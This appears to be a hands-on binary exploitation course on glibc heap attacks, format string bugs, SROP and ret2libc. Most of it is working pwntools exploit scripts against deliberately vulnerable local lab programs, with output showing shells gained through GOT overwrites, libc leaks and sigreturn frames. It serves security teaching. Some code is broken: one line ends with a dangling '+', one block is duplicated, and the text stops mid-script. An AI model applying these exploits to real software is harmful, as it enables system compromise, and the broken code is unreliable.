  1. Compile how2heap tcache_house_of_spirit.c:

    cd ~/tuts/how2heap
    make v$(ldd --version | head -1 | awk '{print $NF}')
    ./glibc_2.39/tcache_house_of_spirit
    
  2. Trace in GDB to understand the simple requirements:

    • Only need valid size field (no next chunk validation!)
    • Region must be 16-byte aligned
    • Size must be in tcache range (0x20-0x410)
  3. Key observation: Unlike original House of Spirit, tcache doesn't check next chunk metadata!

Exercise: Tcache Poisoning

  1. Compile the tcache_poisoning.c example:

    gcc -no-pie -g -fcf-protection=none tcache_poison.c -o tcache_poison
    # Or use how2heap:
    ~/tuts/how2heap/glibc_2.39/tcache_poisoning
    
  2. Trace execution in GDB:

    gdb ~/tuts/how2heap/glibc_2.39/tcache_poison
    break main
    run
    # After each malloc/free, run:
    heap
    bins
    
  3. Observe tcache state:

    • Before free: tcache empty
    • After free: chunk in tcache
    • After poisoning: tcache points to target
    • After second malloc: arbitrary address returned
  4. Modify to target a function pointer:

    • Add a function pointer variable
    • Poison tcache to point to it
    • Overwrite with system or win function

Exercise: House of Botcake

  1. Run how2heap example:

    ~/tuts/how2heap/glibc_2.39/house_of_botcake
    
  2. Understand the technique:

    • Fill tcache → chunk goes to unsorted bin
    • Consolidation creates overlapping chunk
    • Free victim to tcache → exists in both bins!
    • Allocate from unsorted → control tcache entry
  3. Key insight: Bypasses tcache double-free detection via consolidation trick

Exercise: Safe-Linking Bypass

  1. Study the protection:

    // Demangling formula
    #define REVEAL_PTR(pos, ptr) \
        ((__typeof__(ptr))((((size_t)(pos)) >> 12) ^ ((size_t)(ptr))))
    
  2. Write a heap leak + tcache poison exploit:

    • First, leak a heap address (via UAF read or other bug)
    • Calculate the XOR key: heap_addr >> 12
    • Mangle your target address before writing to tcache
    • Verify with ~/tuts/how2heap/glibc_2.39/tcache_poisoning.c

Exercise: Advanced Techniques

  1. Large Bin Attack:

    • Run ~/tuts/how2heap/glibc_2.39/large_bin_attack
    • Understand bk_nextsize corruption for arbitrary write
  2. House of Water (Expert):

    • Study the technique on how2heap wiki
    • Requires understanding of tcache metadata structure
  3. House of Tangerine (Expert):

    • Run ~/tuts/how2heap/glibc_2.39/house_of_tangerine
    • Key: Exploits sysmalloc _int_free without needing free()

Success Criteria:

TaskCriterion
Task 1UAF exploit hijacks function pointer
Task 2Understand tcache House of Spirit simplicity
Task 3Tcache poisoning achieves arbitrary write
Task 4Can explain House of Botcake consolidation trick
Task 5Safe-linking bypass works with heap leak
Task 6At least one advanced technique understood

Minimum requirement: Complete Tasks 1-4 with full understanding

Key Takeaways

  1. Start with UAF patterns: Understand the core vulnerability before learning exploitation techniques
  2. Tcache House of Spirit is easiest: No next chunk validation makes it simpler than fastbin variant
  3. House of Botcake is most practical: Double-free bypass works on all modern glibc (2.29+)
  4. Safe-linking bypass uses chunk address: XOR key derived from corrupted chunk (chunk_addr >> 12) for glibc 2.32+
  5. Know your glibc version: Technique selection depends heavily on target version
  6. how2heap/glibc_2.41 is your reference: Practice techniques in order of difficulty
  7. CET doesn't block heap exploits: Function pointer/GOT overwrites bypass SHSTK/IBT
  8. Hooks are dead: __malloc_hook/__free_hook removed in glibc 2.34+, use GOT or FSOP instead

Discussion Questions

  1. Why is tcache House of Spirit easier than the original fastbin version?
  2. How does safe-linking protect against tcache poisoning, and why does it require a heap leak to bypass?
  3. What makes House of Botcake the most practical double-free technique for modern glibc?
  4. When would you use House of Tangerine over House of Botcake?

Day 5: Format String Vulnerabilities

Deliverables

  • Binary: vuln_fmt built and verified with checksec
  • Offset: your correct format string offset found (the %<n>$p where you see 0x4141414141414141)
  • Leak: at least one stable pointer leak (stack/libc) parsed in Python
  • Write: one working %n write (flip a variable or overwrite a GOT entry)
  • Exploit: a pwntools script that reaches code execution (shell or win())

Understanding Format Strings

What is a Format String Bug?:

  • User input passed directly to printf-like function
  • Attacker controls format specifiers
  • Can read/write arbitrary memory

Vulnerable Code:

//~/exploit/vuln_fmt.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

void win() {
    printf("You won!\n");
    system("/bin/sh");
}

int main() {
    char buffer[200];

    // Clear buffer
    memset(buffer, 0, sizeof(buffer));

    // Read from stdin to allow null bytes in payload
    // use read() to avoid stopping at null bytes or newlines prematurely
    read(0, buffer, sizeof(buffer)-1);

    // VULNERABLE: user-controlled buffer used as format string!
    printf(buffer);

    exit(0);
}

Format String Basics

Common Format Specifiers:

SpecifierDescriptionStack Effect (AMD64)
%dPrint intReads from register/stack
%xPrint hex (32-bit)Reads 4 bytes, zero-extended
%lxPrint hex (64-bit)Reads full 8 bytes
%sPrint stringReads pointer, dereferences
%nWrite byte countWrites to pointer
%pPrint pointer (BEST!)Shows full 64-bit pointer as hex
%<number>$Direct parameter accessAccess specific position

[!IMPORTANT] On AMD64, always use %p for leaking! It prints the full 64-bit value in hex format (0x7fff...). Using %x only shows 32 bits and can confuse beginners.

AMD64 Format String Parameter Passing:

On AMD64, the first 6 printf arguments after the format string come from registers:

  • Position 1-6: RDI (fmt), RSI, RDX, RCX, R8, R9
  • Position 7+: Stack

This means your buffer typically appears at offset 6 or higher on AMD64!

Reading Stack:

# Compile vulnerable program (AMD64, no -m32!)
make format-sec SOURCE=vuln_fmt.c BINARY=vuln_fmt
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none -Wno-format-security vuln_fmt.c -o vuln_fmt

# Read values using %p (always use %p on AMD64!)
echo 'AAAA%p %p %p %p %p %p %p %p' | ./vuln_fmt
# Output: AAAA0x7ffc4cb66900 0xc7 0x7cc35931ba91 (nil) 0x7cc3594c0380 0x2520702541414141 0x2070252070252070 0x7025207025207025
#                                                                               ^^^^^^^^
#                                                                             Your input at offset 6!

# Direct parameter access - note: offset changes with format string length!
echo '%6$p' | ./vuln_fmt   # 0xa70243625 (format string itself!)
echo '%1$p' | ./vuln_fmt   # 0x7ffdca13b4b0 (stack addr)

# To find your input, use consistent padding:
echo 'AAAAAAAA%6$p' | ./vuln_fmt
# Output: AAAAAAAA0x4141414141414141  ← Input found at offset 6!

Stack Reading Success:

  • Input buffer found at offset 6 (confirmed with 0x4141414141414141)
  • %6$p shows format string pointer 0xa70243625
  • %1$p shows stack address 0x7ffdca13b4b0
  • Key: On AMD64, input typically appears at offset 6+ due to register passing

Information Disclosure

Leaking Stack Values (AMD64):

#!/usr/bin/env python3
# ~/exploit/fmt_leak.py
"""
Format string exploit to leak stack values (AMD64)
"""
from pwn import *

binary = './vuln_fmt'
elf = ELF(binary)
context.binary = elf

def leak_stack(offset):
    """Leak value at stack offset"""
    # Use padding to keep format string length consistent
    payload = f'AAAAAAAA%{offset}$p'.encode()
    p = process(binary)
    p.send(payload)
    output = p.recvall()
    p.close()
    return output

# Scan for our input (0x4141414141414141)
log.info("Scanning stack offsets...")
for i in range(1, 10):
    result = leak_stack(i)
    decoded = result.decode().strip()
    marker = "<<<" if "4141414141414141" in decoded else ""
    print(f"Offset {i:2d}: {decoded} {marker}")

# On this system, input is at offset 6

Run:

cd ~/exploit
python3 fmt_leak.py

Test Results:

[*] Scanning stack offsets...
...
Offset  5: AAAAAAAA0x796604c9a380
[+] Starting local process './vuln_fmt': pid 2583
[+] Receiving all data: Done (26B)
[*] Process './vuln_fmt' stopped with exit code 0 (pid 2583)
Offset  6: AAAAAAAA0x4141414141414141 <<<
[+] Starting local process './vuln_fmt': pid 2586
[+] Receiving all data: Done (18B)
[*] Process './vuln_fmt' stopped with exit code 0 (pid 2586)
Offset  7: AAAAAAAA0x70243725
[+] Starting local process './vuln_fmt': pid 2589
[+] Receiving all data: Done (13B)
[*] Process './vuln_fmt' stopped with exit code 0 (pid 2589)
...

Stack Scanning Success:

  • Input confirmed at offset 6: 0x4141414141414141 marker found
  • Various stack values leaked: Stack addresses, libc pointers, NULL values
  • Consistent results: Each offset returns predictable values
  • Process management: Each scan spawns new process to avoid state corruption

Finding Your Input Offset (Quick Method):

#!/usr/bin/env python3
#~/exploit/fmt_find_offset.py
# ~/exploit/fmt_find_offset.py
from pwn import *

binary = './vuln_fmt'
context.log_level = 'error'

# Scan with consistent padding
for i in range(1, 20):
    payload = f'AAAAAAAA%{i}$p'.encode()
    p = process(binary)
    p.send(payload)
    out = p.recvall().decode()
    p.close()
    if '4141414141414141' in out:
        print(f"[+] Input found at offset {i}")
        print(f"    Payload: AAAAAAAA%{i}$p")
        break
else:
    print("[-] Not found in first 20 offsets")

Result: On this system, input buffer is at offset 6.

Arbitrary Memory Read (AMD64)

Reading Memory at Address:

On AMD64, addresses are 8 bytes and may contain null bytes (0x00004...). Null bytes terminate strings, so we put the address AFTER the format specifier!

// Want to read memory at 0x00000000004011b6 (main)
// Problem: Address has leading zeros = null bytes!

// Solution: Put address at END of format string
// "%9$sAAAAAAAA" + p64(addr)
// The AAAAAAAA aligns to 8 bytes, then address follows

The 64-bit Null Byte Problem (Manual Payload Construction)

fmtstr_payload is magic, but you must understand why 64-bit writes are painful.

The Issue: 64-bit addresses (e.g., 0x00007fffffffe000) contain null bytes at the start (little endian: 00 e0 ff ...). If you put the address at the start of your payload (like in 32-bit exploits), printf reads the null bytes and stops processing the rest of the string immediately.

The Solution: Place the target address at the very end of the payload.

  1. Calculate Offset: Determine how many 8-byte blocks it takes to reach the end of your format string.
  2. Argument Ordering: Use %<offset>$n to tell printf to skip ahead to that end-block where the address lives.
# Conceptual 64-bit Write (Manual)
# We want to write 'A' (65) to 0x7fffffffe010
# 1. Padding to align stack
pad = b"A" * 8
# 2. Format specifiers (write 65 bytes)
fmt = b"%65c"
# 3. The write trigger (pointing to offset 8, for example)
trigger = b"%8$n"
# 4. Pad length to align address to 8-byte boundary
final_pad = b"B" * (64 - len(pad+fmt+trigger))
# 5. The Address (with null bytes) comes LAST
addr = p64(0x7fffffffe010)
payload = pad + fmt + trigger + final_pad + addr +

Example:

#!/usr/bin/env python3
#~/exploit/21.py
from pwn import *

binary = './vuln_fmt'
elf = ELF(binary)
context.binary = elf

def send_payload(payload_bytes):
    """Helper to send payload with null bytes"""
    p = process(binary)
    p.send(payload_bytes)
    output = p.recvall()
    p.close()
    return output

# Step 1: Find payload offset
log.info("Step 1: Finding payload offset on stack")

payload_offset = 0
for test_offset in range(1, 20):
    payload = b"AAAAAAAA" + f"%{test_offset}$p".encode()
    result = send_payload(payload)
    output = result.decode('utf-8', errors='ignore')

    if '0x4141414141414141' in output:
        log.success(f"Payload lands at offset {test_offset}")
        payload_offset = test_offset
        break
else:
    log.error("Could not find payload offset")
    exit(1)

# Step 2: Leak Libc
log.info(f"\nStep 2: Leaking libc address")

# Leak libc from a known offset (e.g., return address or __libc_start_main)
# We need to find a stable libc pointer on the stack.
libc_leak_offset = 33
# Note: You must calculate the offset constant yourself by debugging!
libc_offset_constant = 0x2a1ca

payload = f"%{libc_leak_offset}$p".encode()
result = send_payload(payload)
output = result.decode('utf-8', errors='ignore').strip()

if '0x' in output:
    try:
        # Output might be "0x7f..." or similar
        leak_str = output.split('0x')[1].split()[0]
        leak_addr = int(leak_str, 16)
        log.info(f"Leaked address at offset {libc_leak_offset}: {hex(leak_addr)}")

        libc_base = leak_addr - libc_offset_constant
        log.success(f"Calculated Libc Base: {hex(libc_base)}")

        if libc_base & 0xfff == 0:
            log.success("Libc base is page-aligned! Looks good.")
        else:
            log.warning("Libc base is NOT page-aligned - might be wrong offset")
    except (ValueError, IndexError) as e:
        log.error(f"Failed to parse leaked address: {e}")
        log.error(f"Raw output: {output}")
        exit(1)
else:
    log.error("No address leaked - check offset")
    exit(1)

Arbitrary Memory Write (AMD64)

The %n Specifier (64-bit considerations):

  • %n writes 4 bytes (int) - often enough!
  • %ln writes 8 bytes (long) - full 64-bit
  • %hn writes 2 bytes (short)
  • %hhn writes 1 byte (char) - most precise

For AMD64 addresses (0x7fff...), use %hhn to write byte-by-byte, or %hn to write 2 bytes at a time. Full 8-byte writes are rarely practical.

Writing with pwntools (Recommended):

#!/usr/bin/env python3
#~/exploit/22.py
from pwn import *

binary = './vuln_fmt'
elf = ELF(binary)
context.binary = elf  # CRITICAL: Sets amd64!

# pwntools fmtstr_payload handles all the complexity
target = elf.got['exit']  # Example: overwrite exit@GOT
value = elf.symbols['win']  # Redirect to win()

# Find format string offset first (see next section)
offset = 6  # Offset 6 (stdin based)

# Generate payload automatically
payload = fmtstr_payload(offset, {target: value})
log.info(f"Payload length: {len(payload)}")

# Send payload via stdin to allow null bytes
p = process(binary)
p.send(payload)
p.recvuntil(b"You won!") # Verify win
p.interactive()

Test Results:

[*] Payload length: 64
[+] Starting local process './vuln_fmt': pid 2626
[*] Switching to interactive mode

$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
$
[*] Interrupted
[*] Stopped process './vuln_fmt' (pid 2626)

GOT Overwrite Success:

  • Payload generated: 64 bytes using fmtstr_payload
  • exit@GOT overwritten: Redirected to win() function
  • Shell achieved: Interactive shell with user privileges
  • pwntools magic: Automatic handling of 64-bit address alignment and null bytes

GOT Overwrite Attack (AMD64)

Global Offset Table (GOT):

  • Stores addresses of dynamically linked functions
  • Writable by default (Partial RELRO)
  • Overwriting GOT entry redirects function calls

Exploit Strategy:

  1. Find GOT entry for common function (printf, exit, etc.)
  2. Use format string to leak libc address (defeat ASLR)
  3. Use format string to overwrite GOT entry
  4. Point GOT entry to system or one_gadget
  5. Trigger function call → shell!

Example Program (fmt_got.c):

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

void win() {
    printf("You win!\n");
    system("/bin/sh");
}

int main() {
    char buffer[200];
    memset(buffer, 0, sizeof(buffer));

    // Read from stdin to allow null bytes
    read(0, buffer, sizeof(buffer)-1);

    // Format string vulnerability
    printf(buffer);
    printf("\n");

    // Call exit (GOT entry target)
    exit(0);
}

Compile (AMD64):

make format-sec SOURCE=fmt_got.c BINARY=fmt_got
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none -Wno-format-security fmt_got.c -o fmt_got

Exploit (AMD64):

#!/usr/bin/env python3
#~/exploit/23.py
from pwn import *

binary = './fmt_got'
elf = ELF(binary)
context.binary = elf  # Sets amd64 automatically!

# Find addresses
win_addr = elf.symbols['win']
exit_got = elf.got['exit']

log.info(f"win() @ {hex(win_addr)}")
log.info(f"exit@GOT @ {hex(exit_got)}")

# Step 1: Find format string offset
def send_payload(payload):
    p = process(binary)
    p.send(payload)
    output = p.recvall()
    p.close()
    return output

# Manual offset finding
for i in range(1, 10):
    result = send_payload(f"%{i}$p".encode())
    log.info(f"Offset {i}: {result}")

# Once you find offset where your input appears...
# Example: offset 6

# Step 2: Use fmtstr_payload (handles AMD64 complexity!)
offset = 6  # ADJUST BASED ON YOUR TESTING!

payload = fmtstr_payload(offset, {exit_got: win_addr})
log.info(f"Payload: {payload[:50]}...")

p = process(binary)
p.send(payload)
p.interactive()

Test Results:

[*] win() @ 0x401186
[*] exit@GOT @ 0x404030
[*] Payload: b'%134c%11$lln%139c%12$hhn%47c%13$hhnaaaab0@@\x00\x00\x00\x00\x001@'...
[+] Starting local process './fmt_got': pid 2682
[*] Switching to interactive mode
You win!
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
$
[*] Interrupted
[*] Stopped process './fmt_got' (pid 2682)

Manual GOT Overwrite Success:

  • Addresses found: win() at 0x401186, exit@GOT at 0x404030
  • Offset scanning: Tested offsets 1-9, format string found at various positions
  • Payload generated: Complex multi-byte write using %lln, %hhn specifiers
  • GOT overwritten: exit@GOT redirected to win() function
  • Shell achieved: "You win!" message and interactive shell

Using pwntools FmtStr Class (Automated):

#!/usr/bin/env python3
#~/exploit/24.py
from pwn import *

binary = './fmt_got'
elf = ELF(binary)
context.binary = elf

def oracle(payload):
    """Execute format string and return output"""
    # Use stdin for payload to allow null bytes (AMD64)
    p = process(binary)
    p.send(payload)
    output = p.recvall()
    p.close()
    return output

# FmtStr auto-finds offset!
# We tell it we control the first argument (index 0) of the printf call (handled by oracle)
autofmt = FmtStr(execute_fmt=oracle)
log.info(f"Auto-detected offset: {autofmt.offset}")

# Queue write operation
autofmt.write(elf.got['exit'], elf.symbols['win'])

# Execute (sends the payload)
#autofmt.execute_writes()

# For interactive shell, send manually:
payload = fmtstr_payload(autofmt.offset, {elf.got['exit']: elf.symbols['win']})
p = process(binary)
p.send(payload)
p.interactive()

Test Results:

[*] Process './fmt_got' stopped with exit code 0 (pid 2708)
[+] Found format string offset: 6
[*] Auto-detected offset: 6
[+] Starting local process './fmt_got': pid 2711
[*] Switching to interactive mode
You win!
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
$
[*] Interrupted
[*] Stopped process './fmt_got' (pid 2711)

Automated FmtStr Success:

  • Auto-detection: FmtStr automatically found format string offset 6
  • Multiple processes: Used oracle function to test different payloads
  • Payload generation: Automatic creation of format string payload
  • GOT overwrite: Successfully redirected exit@GOT to win() function
  • Shell achieved: "You win!" message and interactive shell
  • pwntools power: Automated offset finding and payload generation

Automated Exploitation with pwntools (AMD64)

Using FmtStr Module:

#!/usr/bin/env python3
#~/exploit/25.py
from pwn import *

binary = './vuln_fmt'
elf = ELF(binary)
context.binary = elf  # CRITICAL for AMD64!

# Define oracle function - how to send payload and get output
def send_fmt(payload):
    # Use stdin for payload to allow null bytes
    p = process(binary)
    p.send(payload)
    output = p.recvall()
    p.close()
    return output

# Automatic offset detection and exploitation
# We tell it we control the first argument (index 0) of the printf call (handled by oracle)
fmt = FmtStr(execute_fmt=send_fmt)
log.info(f"Detected offset: {fmt.offset}")

# Queue writes (can write multiple!)
target = elf.got['exit']
value = elf.symbols['win']
fmt.write(target, value)

# Execute all queued writes
fmt.execute_writes()

Test Results:

...
[*] Process './vuln_fmt' stopped with exit code 0 (pid 2736)
[*] Found format string offset: 6
[*] Detected offset: 6
[+] Starting local process './vuln_fmt': pid 2739
[-] Receiving all data: Failed
Traceback (most recent call last):
...
KeyboardInterrupt
[*] Stopped process './vuln_fmt' (pid 2739)

FmtStr.execute_writes() Issue:

  • Offset detection worked: Found format string at offset 6
  • Problem: execute_writes() hangs because successful GOT overwrite redirects exit() to win(), but win() doesn't exit the program
  • Root cause: After GOT overwrite, program calls win() and waits for input, but recvall() expects program to exit
  • Solution: Use fmtstr_payload() directly instead of execute_writes() for interactive shells

Manual fmtstr_payload (More Control):

#!/usr/bin/env python3
#~/exploit/26.py
from pwn import *

binary = './vuln_fmt'
elf = ELF(binary)
context.binary = elf

# First: Find your offset manually
# Test: echo 'AAAAAAAA %p %p ...' | ./vuln_fmt
# Look for 0x4141414141414141

offset = 6  # Offset 6 (stdin based)

# Generate optimized payload
payload = fmtstr_payload(
    offset,
    {elf.got['exit']: elf.symbols['win']},
    write_size='short'  # Use %hn (2-byte writes) - often more reliable
)

p = process(binary)
p.send(payload)
p.interactive()

Test Results:

...
[+] Starting local process './vuln_fmt': pid 2759
[*] Switching to interactive mode
You won!
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
$
[*] Interrupted
[*] Stopped process './vuln_fmt' (pid 2759)

Manual fmtstr_payload Success:

  • Direct approach worked: Used fmtstr_payload() instead of execute_writes()
  • Shell achieved: "You won!" message and interactive shell
  • write_size='short': Used %hn (2-byte writes) for reliability
  • Interactive mode: Properly handled program that doesn't exit after exploitation

Format String + Libc Leak Pattern (ASLR Bypass):

#!/usr/bin/env python3
#~/exploit/27.py
"""
Complete format string exploit with ASLR bypass (AMD64)
Pattern: Leak → Calculate → Overwrite
"""
from pwn import *

binary = './vuln_fmt'
elf = ELF(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary = elf

def send_fmt(payload):
    p = process(binary)
    p.send(payload)
    output = p.recvall()
    p.close()
    return output

# STAGE 1: Leak libc address
# Find a libc pointer on the stack (return addr, saved values, etc.)
# __libc_start_main+XXX is commonly at offset 33 on our system

leak_offset = 33  # Set to 33 based on GDB debugging
leak = send_fmt(f'%{leak_offset}$p'.encode())
libc_leak = int(leak.decode().strip(), 16)
log.info(f"Leaked: {hex(libc_leak)}")

# STAGE 2: Calculate libc base
# The leak is __libc_start_main + 122 (0x7...2a1ca)
libc_offset_constant = 0x2a1ca # Found via GDB
libc.address = libc_leak - libc_offset_constant
log.success(f"Libc base: {hex(libc.address)}")

# Verify base is page-aligned
assert libc.address & 0xfff == 0, "Bad libc base calculation!"

# STAGE 3: Overwrite GOT with one_gadget or system
# Find one_gadget: one_gadget /lib/x86_64-linux-gnu/libc.so.6
one_gadget = libc.address + 0xe3b01  # ADJUST - run one_gadget tool!

# STAGE 3: Overwrite GOT with one_gadget or system
# Find one_gadget: one_gadget /lib/x86_64-linux-gnu/libc.so.6
one_gadget = libc.address + 0xe3b01  # ADJUST - run one_gadget tool!

# Generate payload manually for the final exploit
# We know the offset is 6 (stdin based)
offset = 6
payload = fmtstr_payload(offset, {elf.got['exit']: one_gadget})

p = process(binary)
p.send(payload)
p.interactive()

Test Results:

...
[+] Starting local process './vuln_fmt': pid 2769
[+] Receiving all data: Done (14B)
[*] Process './vuln_fmt' stopped with exit code 0 (pid 2769)
[*] Leaked: 0x77d09f42a1ca
[+] Libc base: 0x77d09f400000
[+] Starting local process './vuln_fmt': pid 2772
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ id
[*] Process './vuln_fmt' stopped with exit code -11 (SIGSEGV) (pid 2772)
[*] Got EOF while sending in interactive

ASLR Bypass + One_Gadget Issues:

  • Libc leak successful: 0x77d09f42a1ca → base 0x77d09f400000
  • One_gadget problem: 0xe3b01 offset caused crash (SIGSEGV)
  • Root cause: Wrong one_gadget offset for this libc version/system
  • Solution: Run one_gadget /lib/x86_64-linux-gnu/libc.so.6 to find working offsets

Key Lessons:

  1. FmtStr.execute_writes(): Not suitable for interactive shells - use fmtstr_payload() directly
  2. One_gadget offsets: System-specific, must be recalculated for each libc version
  3. Manual approach: fmtstr_payload() with write_size='short' is most reliable
  4. ASLR bypass: Libc leak + base calculation works perfectly

Format String Protection Mechanisms

Fortify Source (-D_FORTIFY_SOURCE=2):

  • Checks format string at compile time
  • Warns on non-literal format strings
  • Adds runtime checks
// Caught by fortify
printf(user_input);  // Compile warning

// Also caught
char fmt[100];
strcpy(fmt, user_input);
printf(fmt);  // Runtime error

Mitigations:

  • Always use literal format strings: printf("%s", input)
  • Enable compiler warnings: -Wformat -Wformat-security
  • Use fortify source: -D_FORTIFY_SOURCE=2
  • Static analysis tools: scan for printf(user_controlled)

SROP (Sigreturn-Oriented Programming) Explained

What is SROP?:

  • Uses the sigreturn syscall to set all registers at once
  • sigreturn restores register state from a "signal frame" on stack
  • Attacker provides fake signal frame with controlled register values
  • Single syscall sets RAX, RDI, RSI, RDX, RIP, RSP, etc.

Why Use SROP?:

  • Tiny Binaries: In statically linked binaries or small containers, you might not have enough gadgets for a full pop rdi; ret chain. SROP only needs syscall; ret.
  • Gadget Scarcity: If CET blocks complex ROP chains, SROP (which does context switching in kernel space) can sometimes simplify the userspace requirements.
  • One-Shot Setup: It sets RDI, RSI, RDX, and RAX simultaneously. No need to hunt for elusive pop rdx gadgets.
  • Sets ALL registers in one operation (including RBP for one_gadget!)
  • Useful when gadgets are scarce
  • Bypasses CET! Syscall-based approach doesn't use libc functions

[!NOTE] SROP vs one_gadget on modern libc: SROP uses direct syscalls, bypassing libc entirely. This avoids CET issues that plague libc function calls. If one_gadget fails due to CET constraints, SROP is an excellent alternative.

Signal Frame Structure (simplified x64):

struct sigcontext {
    uint64_t r8, r9, r10, r11, r12, r13, r14, r15;
    uint64_t rdi, rsi, rbp, rbx, rdx, rax, rcx, rsp, rip;
    uint64_t eflags;
    // ... more fields
};

SROP Exploit Flow:

  1. Overflow buffer
  2. Set return address to sigreturn gadget
  3. Place fake signal frame on stack with:
    • RAX = 59 (execve syscall number)
    • RDI = address of "/bin/sh"
    • RSI = 0 (NULL)
    • RDX = 0 (NULL)
    • RIP = syscall gadget
  4. sigreturn loads all registers from fake frame
  5. Execution continues at RIP (syscall)
  6. execve("/bin/sh", NULL, NULL) executed

SROP with pwntools:

Target Source (vuln_srop.c):

// Compile: make disabled SOURCE=vuln_srop.c BINARY=vuln_srop
// Note: -fcf-protection=none is REQUIRED to disable Intel CET (Shadow Stack) which blocks SROP
#include <stdio.h>
#include <unistd.h>

char binsh[] = "/bin/sh";

// Explicitly include gadgets for the exercise
void gadgets() {
    __asm__ volatile(
        "pop %rax; ret\n"
        "syscall\n"
        "ret\n"
    );
}

void vuln() {
    char buffer[64];
    write(1, "Enter input: ", 13);
    read(0, buffer, 512); // Large overflow
}

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    vuln();
    return 0;
}

Exploit Script:

#!/usr/bin/env python3
#~/exploit/exploit_srop.py
from pwn import *

context.arch = 'amd64'

binary = './vuln_srop'
elf = ELF(binary)
rop = ROP(elf)

# 1. Find Gadgets
try:
    pop_rax = rop.find_gadget(['pop rax', 'ret'])[0]
    syscall_ret = rop.find_gadget(['syscall', 'ret'])[0]
    log.info(f"pop rax @ {hex(pop_rax)}")
    log.info(f"syscall @ {hex(syscall_ret)}")
except:
    log.critical("Gadgets not found! Did you compile vuln_srop.c explicitly?")
    exit(1)

# 2. Find /bin/sh
try:
    binsh_addr = next(elf.search(b'/bin/sh'))
    log.info(f"/bin/sh @ {hex(binsh_addr)}")
except StopIteration:
    log.critical("/bin/sh not found in binary! Did you add the global string?")
    exit(1)

# 3. Build Frame
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
frame.rsp = elf.bss() + 0x100 # Set valid stack pointer for stability

# 4. Construct Payload
offset = 72
payload = b'A' * offset
payload += p64(pop_rax)
payload += p64(constants.SYS_rt_sigreturn) # 15
payload += p64(syscall_ret)
payload += bytes(frame)

# Run
p = process(binary)
p.sendline(payload)
p.interactive()

Test Results:

...
[*] Loading gadgets for '/home/dev/exploit/vuln_srop'
[*] pop rax @ 0x40114a
[*] syscall @ 0x40114c
[*] /bin/sh @ 0x404028
[+] Starting local process './vuln_srop': pid 2852
[*] Switching to interactive mode
Enter input: $ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)

SROP Exploit Success:

  • Compilation: Built with -fcf-protection=none -z execstack (CET disabled, executable stack)
  • Gadgets found: pop rax @ 0x40114a, syscall @ 0x40114c (from inline assembly)
  • String located: /bin/sh @ 0x404028 (global variable in .data)
  • Shell achieved: Interactive shell with full user privileges
  • Clean exit: Process exits normally after shell session

Key Technical Details:

  • CET bypass: -fcf-protection=none disables shadow stack/IBT protection
  • Executable stack: -z execstack allows shellcode if needed
  • Inline gadgets: Assembly provides reliable gadget addresses
  • Direct syscall: Bypasses libc entirely, avoiding CET restrictions
  • Signal frame: 248-byte structure sets all registers simultaneously

When to Use SROP vs ROP:

ScenarioUse SROPUse ROP
Few gadgets availablex
Need to set many registersx
Simple function callx
Binary has sigreturn gadgetx
Need fine-grained controlx

ret2dlresolve Explained

What is ret2dlresolve?:

  • Abuses the dynamic linker's lazy binding mechanism
  • Forces linker to resolve ANY function, even if not imported
  • Works even with Full RELRO (in some cases)
  • No libc address leak required!

How Lazy Binding Works:

  1. Program calls printf@plt
  2. PLT jumps to GOT entry
  3. First call: GOT points back to PLT
  4. PLT calls _dl_runtime_resolve(link_map, reloc_index)
  5. Resolver finds "printf" in libc, updates GOT
  6. Future calls go directly to libc printf

ret2dlresolve Attack:

  1. Craft fake Elf_Rel structure (relocation entry)
  2. Craft fake Elf_Sym structure (symbol entry)
  3. Craft fake string "system"
  4. Call _dl_runtime_resolve with fake reloc_index
  5. Resolver "resolves" our fake "system" symbol
  6. system("/bin/sh") gets called!

ret2libc with Leak:

Instead of ret2dlresolve, most real exploits use a two-stage approach:

// leak_target.c - Compile: gcc -fno-stack-protector -no-pie -o leak_target leak_target.c
#include <stdio.h>
#include <unistd.h>

// Add pop rdi gadget for ret2libc
__attribute__((noinline)) void gadgets() {
    __asm__ volatile(
        ".global pop_rdi_ret\n"
        "pop_rdi_ret:\n"
        "pop %rdi\n"
        "ret\n"
    );
}

void vuln() {
    char buf[64];

    // Stage 1: Leak libc address (common in real vulnerabilities)
    printf("puts@GOT: %p\n", puts);
    printf("printf@GOT: %p\n", printf);

    // Stage 2: Buffer overflow
    printf("Enter data: ");
    read(0, buf, 256);
}

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    printf("=== ret2libc with Leak Demo ===\n");
    vuln();

    return 0;
}
#!/usr/bin/env python3
#~/exploit/ret2libc.py
"""
ret2libc with leak - Automatic gadget discovery
No hardcoded addresses - finds everything dynamically
"""
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

binary = './leak_target'
elf = ELF(binary)
rop = ROP(elf)

# Find libc
try:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
except:
    try:
        libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
    except:
        log.error("Could not find libc. Adjust path in script.")
        exit(1)

p = process(binary)

# Stage 1: Get leak
p.recvuntil(b"puts@GOT: ")
puts_addr = int(p.recvline().strip(), 16)
log.info(f"Leaked puts: {hex(puts_addr)}")

# Calculate libc base
libc.address = puts_addr - libc.symbols['puts']
log.success(f"libc base: {hex(libc.address)}")
log.info(f"system: {hex(libc.symbols['system'])}")

binsh = next(libc.search(b'/bin/sh'))
